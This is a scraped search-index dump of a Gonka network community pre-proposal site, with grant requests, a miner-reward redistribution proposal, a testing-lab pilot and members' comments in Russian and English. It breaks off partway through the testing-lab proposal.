"}, {"location": "proposals/preproposals/#active-proposals", "title": "🟢 Active Proposals", "text": "3Active 13Votes 1.4M GNKTotal Bid Status Title Author Votes Avg. Bid Closes 🟢 Вестинг: почему его стоит отменить сейчас Mitch 3 0.00 GNK 2026-08-01 🟢 Привлечение $3M+ нового капитала на Uniswap Andrey Orlov 5 138.3K GNK 2026-08-02 🟢 Привлечение $3M+ нового капитала на Uniswap v2.0 Andrey Orlov 5 138.3K GNK 2026-08-08"}, {"location": "proposals/preproposals/#expired-proposals", "title": "🔴 Expired Proposals", "text": "31Expired 15Votes 798.4K GNKTotal Bid Status Title Author Votes Avg. Bid Closed 🔴 Should Gonka make fallbacks to other services like OpenRouter? Viktor 1 0.00 GNK 2026-07-24 🔴 Улучшаем инфиренс Kimi Mitch 6 0.00 GNK 2026-07-21 🔴 External Test Lab & Community DevNet Sergii Paranko 4 172.9K GNK 2026-07-14 🔴 Private Inc × Gonka — Network Growth Initiative Igor Alexeev 0 0.00 GNK 2026-07-13 🔴 Предложение по развитию игровой экосистемы блокчейна через турнирные пулы вознаг Victor 0 0.00 GNK 2026-07-12 🔴 Интеграция ИИ Gonka в инфраструктуру QR Mint Victor 0 0.00 GNK 2026-07-11 🔴 12+1. Team EntroPi Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 12. Team Slava MSE Team Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 11. Team GonkaGate Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 10. Team Alexander Kuprin Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 9. Team Gonka-API.org Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 8. Team Gonka.TV Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 7. Team Epokha AI / epokha.ai Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 5. Team Lefine Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 4. Team Gonka NL BE Community Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 3. Team Gonka Wallet Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 Team Gonka.AI | Inside Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 1. Team Veylox Grant Request Slava MyGonka 0 0.00 GNK 2026-07-11 🔴 Go-To-Market Team for 3 Month to Set Up the Basis Dem | Démíngān 2 26.7K GNK 2026-07-10 🔴 Gonka Media Library by Saccade Dem | Démíngān 2 26.7K GNK 2026-07-10 🔴 Стресс тест инфиренса Mitch 0 0.00 GNK 2026-06-05 🔴 Bring Gonka to EBC12 as a Gold Sponsor Heydar Naghiyev 0 0.00 GNK 2026-06-04 🔴 Большое видео на канале Falcon Finance (Александр Соколовский) Дмитрий В 0 0.00 GNK 2026-05-28 🔴 Улучшения для vote.gonka.vip Alex A.A. 0 0.00 GNK 2026-05-25 🔴 International Marketing Campaign for Gonka — English-Speaking Markets Evgenii Maksimenkov 0 0.00 GNK 2026-05-25 🔴 Universal Continuous GPU Benchmark for Gonka Hosts (vLLM v0.19+, Anti-Sybil) Evgenii Maksimenkov 0 0.00 GNK 2026-05-25 🔴 Gonka NOP: ретроактивный грант + финансирование поддержки и новых фич. O D 0 0.00 GNK 2026-05-20 🔴 Коэффициент для Kimi 2.6 - 1,87 Alex Sharoiko Александр Шаройко 0 0.00 GNK 2026-05-20 🔴 Gonka.TV — амбассадор Гонки на YouTube Mikhail Chudinov 0 0.00 GNK 2026-05-11 🔴 Bounty for open-source PoC throughput contributions Serhii Hovorov 0 0.00 GNK 2026-05-08 🔴 Return Withheld Miner Rewards: Redistribute Gov-Wallet Balance for Ep 132–247 Evgenii Maksimenkov 0 0.00 GNK 2026-05-08Data synced from gonka.vote. Last updated: 2026-07-26 07:44 UTC
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/", "title": "Gonka.TV — амбассадор Гонки на YouTube", "text": "🔴 ExpiredAuthor: Mikhail Chudinov Created: 2026-04-27 23:30 UTC Closes: 2026-05-11 23:30 UTC Language: RU Votes: 0 Avg. Bid: 0.00 GNK
Mitch, основатель gonka.top, запускает Gonka.TV — YouTube-канал об экосистеме Гонки: обучение, интервью, AMA. Ищу поддержку сообщества.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#full-proposal", "title": "Full Proposal", "text": "Gonka.TV — предложение сообществу
Меня зовут Михаил, все меня знают под ником Mitch. Я основатель первого майнинг пула gonka.top и, судя по всему, неплохо умею объяснять сложные технические вещи простым языком — об этом мне говорят сами люди из сообщества.
Идея простая: я хочу плотнее заняться YouTube-направлением и развить его в полноценный ресурс Gonka.TV.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_1", "title": "Что я вижу в этом проекте", "text": ""}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_2", "title": "🎓 Обучающие материалы", "text": "Сейчас нет нормальных видеоинструкций по Гонке: как поднять ноду вручную, как настроить сетевую ноду, мультинод-сетап, как работать с кошельками и блок-эксплорером. Всё это я готов снять — понятно, пошагово, без воды. Особенно важно для тех, кто только пришёл в крипту и хочет разобраться с нуля.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#ama", "title": "🎙️ Интервью и AMA", "text": "Приглашать участников сообщества, программистов, людей, которые строят продукты на Гонке. Плюс — ходить на другие каналы как амбассадор проекта.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_3", "title": "📢 Продвижение", "text": "Я убеждён: ждать «пока продукт будет готов» — устаревший подход. Все успешные проекты строят аудиторию параллельно с разработкой. Чем больше людей знают о Гонке сейчас, тем больше среди них окажется тех, кто захочет участвовать — как разработчики, как хосты, как сообщество.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_4", "title": "Что нужно для запуска", "text": ""}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_5", "title": "💰 Зарплата", "text": "Чтобы заниматься этим всерьёз, мне нужна оплата своего времени — по сути, зарплата, которой хватает на жизнь. Минимальная планка — $5,000 в месяц.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_6", "title": "🎬 Монтаж", "text": "Я не монтажёр — и тратить время на монтаж вместо съёмки и подготовки контента нет смысла. Фрилансер берёт порядка $100–200 за видео. При планируемом объёме это ещё ~$1,500–3,000 в месяц.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_7", "title": "🤝 Коллаборации с блогерами", "text": "Органически попасть к миллионнику с каналом в 600 подписчиков сложно. Крупные блогеры берут за интервью — и это реальный способ дать Гонке трафик. Сообщество могло бы выделять бюджет на такие коллаборации отдельно, по мере необходимости.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_8", "title": "🔧 Железо", "text": "Минимум: кольцевая лампа, нормальный микрофон. Это копейки, разовые расходы.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_9", "title": "Примерный объём в месяц", "text": "Тип контента Количество Интервью и AMA-сессии 4–5 Обучающие видео 10–20"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_10", "title": "Твоё мнение важно", "text": "Что конкретно стоит делать? Обучалки или продвижение? Платные коллабы с крупными блогерами или органический рост? На что сообщество готово выделить ресурс?
Пиши своё видение в комментариях к тендеру: vote.gonka.vip
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#comments-6", "title": "Comments (6)", "text": ""}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#_11", "title": "💬 Дмитрий В", "text": "2026-04-28 11:35 · 👍 4 · 👎 0
Делил бы маркетинг внутренний (инструкции и тд) и внешний (философия и подкасты). И возможно и каналы бы разные под это. Но делил бы не радикально.) серое это ок и там и там. Гонка тв для меня был бы интересен без инструкции, больше про трансляцию идей во вне, но и про внутреннюю кухню и события тоже ок, но простым языком, понятным свежему адепту. Митч как мне кажется может и так и так прекрасно транслировать.
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#mikhail-chudinov", "title": "💬 Mikhail Chudinov", "text": "2026-04-28 13:21 · 👍 3 · 👎 0
Gonka.TV это будет независимый компоненент
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#evgenii-maksimenkov", "title": "💬 Evgenii Maksimenkov", "text": "2026-04-27 23:55 · 👍 2 · 👎 0
Какой будет первый срок финансирования? Сколько месяцев должен покрыть первый грант?
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#ilgar", "title": "💬 Il’gar", "text": "2026-04-28 02:16 · 👍 2 · 👎 0
Много раз высказывался под видео на ютюб и в чате. Повторяться, наверное, нет смысла - в последнем выпуске Митч утолил почти все мои чаяния.
Добавлю только: вокруг метели, ориентиры потеряны. Многие умные и талантливые люди разочарованы событиями, на которые не могут повлиять. В таких обстоятельствах Gonkа.Tv имеет все шансы стать местом сборки.
Дорого/дешево решать не мне, невесомый
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#dem-demingan", "title": "💬 Dem | Démíngān", "text": "2026-04-28 06:30 · 👍 2 · 👎 0
Мне больше всего нравятся истории с коллабами с другими блогерами. Но тут возникает конфликт, если это делается от имени пула, то и монетизация идти должна от пула. Или Gonka.TV это независимый компонент?
"}, {"location": "proposals/preproposals/00e8a72a-e121-4ea1-8d30-95a0d51268b2/#mikhail-chudinov_1", "title": "💬 Mikhail Chudinov", "text": "2026-04-28 00:14 · 👍 1 · 👎 0
1 месяц думаю для первого достаточно
View on gonka.vote
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/", "title": "Return Withheld Miner Rewards: Redistribute Gov-Wallet Balance for Ep 132–247", "text": "🔴 ExpiredAuthor: Evgenii Maksimenkov Created: 2026-05-01 05:34 UTC Closes: 2026-05-08 05:34 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Since v0.2.9 and v0.2.11, withheld miner rewards have accumulated in the gov account (~3 053 801 GNK). Proposal returns them via batch vesting to 1 623 miners, pro-rata by rewarded_coins per epoch.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#full-proposal", "title": "Full Proposal", "text": "Should we redistribute the gov-wallet balance back to miners? Looking for your feedback before drafting a proposal
Fellow miners and stakeholders — I want to gauge community sentiment on a proposal idea before turning it into an on-chain vote. Concrete numbers, working code, and a verifiable CSV of payouts are already prepared:
Repo: https://github.com/gonkavip/taxreturn
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#the-situation", "title": "The situation", "text": "Two governance upgrades quietly changed where unpaid miner rewards go:
BurnCoins to SendCoinsFromModuleToModule(gov), applying the same destination policy.Result: the gov module account (gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33) has been quietly accumulating roughly 3 053 801 GNK of withheld miner rewards since epoch 132 (the first epoch where this mechanism was observed on chain).
This is the part I think gets overlooked.
The community pool is a separate account (gonka1jv65s3grqf6v6jl3dp4t6c9t9rk99cd8h2rzwa, auth/distribution module). It is funded by an explicit fraction of inflation, spent through MsgCommunityPoolSpend, and currently holds about 102 972 832 GNK + 10 000 IBC USDT. That is more than enough capital for grants, marketing, ecosystem initiatives, etc.
The gov module account is a different beast. Beyond holding live proposal deposits, it now also holds withheld and slashed coins that were originally minted as miner reward — not as community subsidy. They sit there because v0.2.9 turned off the redistribution mechanic that used to return them to the epoch's other participants, but no follow-up rule was ever defined for what should happen to them next.
Two prior proposals (#32 for epoch 158, #33 for epochs 132–133) already established that the gov balance is a legitimate source for miner compensation. Both used ad-hoc per-incident loss models. They returned about 55 000 GNK total — leaving the rest sitting in the wallet without a plan.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#what-im-proposing", "title": "What I'm proposing", "text": "A single, deterministic distribution: return every ngonka of in-range inflow back to the miners who actually performed in the epochs where it was withheld, proportional to each miner's rewarded_coins for that epoch.
The methodology in one sentence: for each epoch in 132..247, find how many ngonka the inference module sent to gov in that epoch, then split that amount across the miners of the epoch in proportion to what they actually earned.
Specifics:
132..247 (132 is the first epoch with observable inflow; 247 is the last epoch whose payouts were fully settled at computation time).block_search, block_results, epoch_group_data, and epoch_performance_summary. No off-chain inputs.The full algorithm, design rationale, reproduction script, and the actual output CSV (1 623 recipients, sum exactly 3 053 800.853 GNK) are in the repo: https://github.com/gonkavip/taxreturn
The script runs against any gonka node, takes a few minutes from cold, and produces the same numbers byte-for-byte. Feel free to verify on your own node.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#questions-for-the-community", "title": "Questions for the community", "text": "MsgBatchTransferWithVesting (mirroring #32 and #33) to execute this exact distribution?Looking forward to your thoughts. Happy to adjust the methodology, the range, or anything else based on feedback before writing this up as a formal governance proposal.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#comments-15", "title": "Comments (15)", "text": ""}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#evgenii-maksimenkov", "title": "💬 Evgenii Maksimenkov", "text": "2026-05-01 14:49 · 👍 2 · 👎 0
В предложении я специально подчеркнул, что у комьюнити уже есть свой пул который уже пополняется на 2% и там уже скопилось 102 972 832 GNK этого хватит на более чем 10 лет, если тратить по миллиону. А ранние майнеры помимо этого уже были “наказаны” дополнительным 10-30% налогом каждую эпоху, из-за того что сеть не могла эффективно бороться с ддос атаками. (Сейчас это уже изменилось, я описал ниже) Оригинальное предложение было составлено на английском языке и слово “legitimate source” там имело другую окраску. Имелось ввиду, что это правильный источник, который для этого и предназначается. Если будут какие-то конкретные идеи по алгоритму распределения (и чем они лучше предложенного), я буду рад обсудить.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#evgenii-maksimenkov_1", "title": "💬 Evgenii Maksimenkov", "text": "2026-05-01 06:02 · 👍 1 · 👎 0
Просто вернуть. Отключение может возобновить ддос.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#evgenii-maksimenkov_2", "title": "💬 Evgenii Maksimenkov", "text": "2026-05-01 06:03 · 👍 1 · 👎 0
Нужно различать govrnance и комьюнити кошелек. то разные вещи и для разных целей. Я написал об этом в самом предложении.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#nik", "title": "💬 Nik", "text": "2026-05-01 07:54 · 👍 1 · 👎 0
Отличная идея, распределить пропорционально выполненной работе - то есть обработанным инференсам!
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#alex-sharoiko", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-05-01 10:29 · 👍 1 · 👎 0
Ты предлагаешь вернуть награды всем майнерам? И читерам тоже?
Там чел в течение 35 дней обманывал сеть. https://prnt.sc/x0M-Pq9kv4gG
А теперь мы ему выплатим раз в 5 больше того, что он наобманывал )
Уж лучше пусть средства будут в Комьюнити Пуле.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#evgenii-maksimenkov_3", "title": "💬 Evgenii Maksimenkov", "text": "2026-05-01 14:34 · 👍 1 · 👎 0
С момента 130 эпохи было многое реализовано для предотвращения ддоса: Закрыты порты 26657 - теперь все запросы идут через прокси Инфиренс запросы распределяют TA. И это правильно - нужно бороться в целом с возможностью ддоса, т.к. мотивация может быть и не GNK-материальная (например, участники другой сети решат положить конкурента). Не факт, что комьюнити снова договориться о выплате. И мало кто будет тратить свои ресурсы, ради призрачной надежды получить дополнительно 10% через 3 месяца. К тому же выплата происходит постфактум и рычаг всегда остаётся у комьюнити - если видим что попытки ддоса возобновились, голосуем против очередного распределения.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#evgenii-maksimenkov_4", "title": "💬 Evgenii Maksimenkov", "text": "2026-05-01 14:38 · 👍 1 · 👎 0
Если мы вступаем на путь чери пикинга, то нужно четко оглашать правила кто достоин, а кто нет. И если уже есть такие критерии, то они априори уже должны быть внедрены в саму сеть. Любой участник получит не в 5 раз больше, а примерно +10% от того что он недополучил. P.S. Конкретно у твоего примера - там больше половина нод отключалась и по итогу они и так не получат награду.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#_1", "title": "💬 Дмитрий В", "text": "2026-05-01 18:46 · 👍 1 · 👎 0
Это точно хороший алгоритм и хорошо продуман. Как разовая акция тут все прекрасно и поделана хорошая работа.
Вижу, что не я один подсветил, что тут риск ненужного прецедента может быть. Но если попробовать изначально сразу позиционировать идею как разовую, типа закрыть прошлые «косяки», тогда риск минимизируется.
Источники копилки думаю могут быть разные, это везде так, я бы лично не создавал ощущения, что штрафы могут быть амнистированы в будущем, но это мой подход, я не налоговик.) просто мнение.)
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#mikhail-chudinov", "title": "💬 Mikhail Chudinov", "text": "2026-05-02 04:07 · 👍 1 · 👎 0
Ок, убедил. Я проголосовал YES
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#alex-sharoiko_1", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-05-01 05:51 · 👍 0 · 👎 0
А ты хочешь вернуть, или вообще отключить эту фичу?
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#alex-sharoiko_2", "title": "💬 Alex Sharoiko Александр Шаройко", "text": "2026-05-01 05:57 · 👍 0 · 👎 0
Сейчас это получается около 10%. Но, я думаю, после обновления % будет ниже. Токеномика Gonka предполагает налог 2%. А тут получилось чуть больше) Интересно, какой % будет дальше тратиться?
С одной стороны, хорошо, когда в Комьюнити пул есть средства, а с другой, хорошо бы, чтобы майнеры были довольны.
Не знаю. У меня нет чёткого мнения. Но то, что налог должен быть, я считаю правильным. Но его пока нет. Зато есть эта фича)
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#_2", "title": "💬 Дмитрий В", "text": "2026-05-01 07:30 · 👍 0 · 👎 0
2026-05-01 07:52 · 👍 0 · 👎 0
\"можно выдать наоборот тем, у кого самые не оптимизированные мощности\" - это же полностью противоречит принципу Дурова вознаграждать конкуренцию.
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#_3", "title": "💬 Дмитрий В", "text": "2026-05-01 08:11 · 👍 0 · 👎 0
Да, верно подмечено. Просто накидываю идеи, эта не удачная, я бы ее не брал.)
"}, {"location": "proposals/preproposals/012f8a32-45ab-4ba8-b6f3-39631d19eb84/#mikhail-chudinov_1", "title": "💬 Mikhail Chudinov", "text": "2026-05-01 12:33 · 👍 0 · 👎 0
Если сейчас вернуть - то логично, что и через месяц когда будет выдвинуто аналогичное предложение, давайте опять поделим, то так же поделим. Мотивация ддосить, чтоб другие майнеры остались без выплат, чтобы получить самому повышенную выплату - появится. Пусть выплата не гарантирована, и через время.. Но мотивация ддосить появляется, это плохо.
View on gonka.vote
"}, {"location": "proposals/preproposals/0395efa6-8eef-4d83-85cb-83d36a937f96/", "title": "7. Team Epokha AI / epokha.ai Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:47 UTC Closes: 2026-07-11 05:47 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Team Epokha AI is building Agent Gonka, an AI agent platform using Gonka Inference, with 100+ workflows, integrations, tutorials, and demos.
"}, {"location": "proposals/preproposals/0395efa6-8eef-4d83-85cb-83d36a937f96/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, the team plans to build and launch the core version of Agent Gonka — an AI agent platform powered by the Gonka Inference API.
The main deliverables include:
The goal is to make AI agents easy to use, grow adoption of Agent Gonka and Gonka, and introduce more users and developers to the Gonka ecosystem through real, useful applications.
"}, {"location": "proposals/preproposals/0395efa6-8eef-4d83-85cb-83d36a937f96/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "The team is building Agent Gonka: https://agentgonka.com
They have already launched the Agent Gonka website, validated the idea, completed initial research, and started designing the MVP and core platform architecture.
Agent Gonka is planned as a decentralized platform that allows users to launch, manage, and scale AI-powered workflows through autonomous agents running on the Gonka Inference API.
The platform will provide a user-friendly web interface for launching, managing, and monitoring autonomous AI agents.
Out of the box, Agent Gonka is planned to support 100+ workflows across multiple categories, including:
gonka158pj5tn26n46ffaw553dkf3e7xjfxahj0s5xug
"}, {"location": "proposals/preproposals/0395efa6-8eef-4d83-85cb-83d36a937f96/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "830865664000000010
"}, {"location": "proposals/preproposals/0395efa6-8eef-4d83-85cb-83d36a937f96/#email-address", "title": "Email Address", "text": "johnmentalpt@gmail.com
"}, {"location": "proposals/preproposals/0395efa6-8eef-4d83-85cb-83d36a937f96/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/0395efa6-8eef-4d83-85cb-83d36a937f96/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 07:24 · 👍 0 · 👎 0
Прикольно! А чем скилы для агента на GonkaAI отличаются от скилов на других LLM? 2. Что такое Скил? Это md файл для агента? 3. О каких агентах идет речь? Hermes? Open Claw?
Идея показать 100+ вариантов использования Агентов на Инференсе Gonka мне нравится.
Спасибо за инициативу!
View on gonka.vote
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/", "title": "12. Team Slava MSE Team Grant Request", "text": "🔴 ExpiredAuthor: Slava MyGonka Created: 2026-06-11 05:53 UTC Closes: 2026-07-11 05:53 UTC Language: EN Votes: 0 Avg. Bid: 0.00 GNK
Team Slava MSE Team runs GonkaDB, Media, links, and ranking tools, and plans to expand multilingual content, videos, docs, and community support.
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#full-proposal", "title": "Full Proposal", "text": "What does your team plan to build or deliver for Gonka over the next three months?
Over the next three months, Team Slava MSE Team plans to develop two main directions: Gonka Media and Gonka Data Base / GonkaDB.
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#gonka-media", "title": "Gonka Media", "text": "Over the next three months, the team plans to:
Invite two people to join the team:
Project Assistant.
Over the next three months, the team plans to:
The goal is to make information about Gonka more accessible, structured, multilingual, and convenient for users, hosts, developers, and national communities.
These projects are already running and will continue to develop regardless of the grant application result. If the grant is approved, it will significantly accelerate development by increasing the regularity of publications, expanding translations, preparing more videos and documentation, and bringing in a Project Assistant and a Video Editor to support stable work over the next three months.
If the grant is not approved, the team will continue the same work at a slower pace.
More details about the application are available in the Knowledge Base article: https://gonkadb.com/bin/view/OBSHCHEE/Zaiavka-na-grantovuiu-programmu-Gonka/
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#what-contributions-or-products-has-your-team-already-developed-for-gonka-with-links-pls", "title": "What contributions or products has your team already developed for Gonka (with links pls)?", "text": "Team Slava MSE Team has already developed and maintains several working projects for the Gonka ecosystem.
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#gonka-ranking-dashboard", "title": "Gonka Ranking Dashboard", "text": "https://ranking.gonkadb.com
An analytical node weight table. The service helps compare the efficiency of nodes, models, and settings, take model coefficients into account, and identify nodes that differ significantly from the rest.
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#gonka-knowledge-base", "title": "Gonka Knowledge Base", "text": "https://gonkadb.com
The Gonka AI Knowledge Base contains materials translated into 100+ languages. It collects articles, guides, translations, news, and materials related to governance, hosts, developers, wallets, inference, and other areas of the ecosystem.
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#gonka-links-catalog", "title": "Gonka Links Catalog", "text": "https://links.gonkadb.com/directions/gonka-ai
A Gonka AI links catalog that collects official resources, dashboards, community tools, documentation, media, testing services, and other useful materials.
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#gonka-media_1", "title": "Gonka Media", "text": "Gonka Media is a media infrastructure project designed to support national communities. The team prepares posts, translations, videos, visual materials, and a content base that local communities can reuse.
These materials are already being used by communities in Kazakhstan, as well as in the Netherlands and Belgium.
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#gnk-wallet-address", "title": "GNK Wallet Address", "text": "gonka1nkv9ls3usj0az2waax0zhgndqx9kcl0dusrr6g
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#your-discord-id-for-contact-purposes", "title": "Your Discord ID for Contact Purposes", "text": "alexandr8475
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#email-address", "title": "Email Address", "text": "penspinning.mse@gmail.com
"}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#comments-1", "title": "Comments (1)", "text": ""}, {"location": "proposals/preproposals/08405617-5654-4ead-be62-642affa1739e/#slava-mygonka", "title": "💬 Slava MyGonka", "text": "2026-06-11 08:01 · 👍 0 · 👎 0
Кто-то хочет принять участие в этом? Оплата в GNK )) Назовите свою цену, будем думать.
В планах у меня взять обычного человека на работу на четверть ставки в свою организацию и просто платить ему зарплату.
Но можно и кого-то из Комьюнити.
Пока у меня не очень хороший опыт работы с волонтерами Комьюнити. Начинают резво, и потом пропадает запал.
View on gonka.vote
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/", "title": "External Test Lab & Community DevNet", "text": "🔴 ExpiredAuthor: Sergii Paranko Created: 2026-07-04 12:00 UTC Closes: 2026-07-14 11:44 UTC Language: EN Votes: 4 Avg. Bid: 172.9K GNK
4-month pilot proposal for community-owned testing infrastructure and QA capacity.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#full-proposal", "title": "Full Proposal", "text": "Executive Summary
This proposal requests funding for a 4-month pilot of External Test Lab & Community DevNet: a community-owned testing function for Gonka protocol upgrades, DevShards, inference flows, host/broker operations, and geographically distributed network behavior before governance decisions and production rollout.
Item Proposal Pilot duration 4 months Requested budget Up to 22,000 USDT per month, plus a one-time 80,000 GNK end-of-pilot recognition payment. Funding model Monthly tranches: Month 1 prepaid, Months 2–4 released after previous-month deliverables are accepted Main deliverables Community DevNet, external testing team, public reports, test plans, runbooks and issue tracker Ownership Community-owned infrastructure and open operational artifacts, with clear handoff plan Security handling Public-by-default reporting, with private disclosure for security-sensitive findings before remediation"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#2-problem-statement", "title": "2. Problem Statement", "text": "Today, Gonka lacks a dedicated community-owned validation layer for important network changes. The External Test Lab and Community DevNet are proposed to close this gap by providing practical testing capacity, shared infrastructure, and public evidence before releases, governance decisions, or production rollout.
The External Test Lab and Community DevNet will:
Validate protocol upgrades, DevShard releases, broker/inference flows, integrations, and other critical network changes before they move forward.
Test distributed-network behavior that is hard to verify in local or internal environments, including latency, synchronization, propagation, and regional instability.
Use available testing capacity for proactive bug hunting, regression checks, and investigation of known weak points when no release candidate is waiting for validation.
Provide a neutral testing path for work delivered by external teams and ecosystem contributors before it is accepted, funded further, or used in production.
Help validate vulnerability reports from researchers, audits, or programs such as HackerOne through reproduction, impact assessment, regression testing, and confirmation after remediation.
Provide a shared environment where trusted hosts and teams can safely test proposals, integrations, DevShard scenarios, protocol behavior, and early implementation ideas.
Produce clearer testing evidence for governance participants, including test plans, dashboards, runbooks, issue trackers, defect reports, security-sensitive disclosure handling, and release-readiness summaries.
This adds a missing validation layer for the Gonka ecosystem while complementing Core Team testing.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#3-roadmap-alignment", "title": "3. Roadmap Alignment", "text": "This proposal directly implements two projects from the Gonka Network Development Roadmap.
Track 4. Network reliability and observability — Project 2. External testing lab The roadmap defines an external testing lab for Gonka changes before broad rollout, including changes from Protocol Maintainers, funded external teams, and ecosystem contributors.
This proposal implements that project through the External Testing Team, test plans, smoke and regression checks, defect reports, public issue tracking, and release-readiness reports.
Track 7. Public sandbox and consumer-GPU testnet — Project 1. Public testing sandbox The roadmap defines a separate test environment for experiments with models, parameters, integrations, DevShard scenarios, protocol-level behavior, validation, settlement, and upgrade testing before mainnet.
This proposal implements that project through Community DevNet: a small, always-on, geographically distributed network for protocol, node, DevShard, operational, integration, and distributed-behavior testing.
"}, {"location": "proposals/preproposals/205219a5-6ed2-4f25-8d22-fa7c65a45ba6/#4-what-we-are-building", "title": "4. What We Are Building", "text": "The project has three connected components.
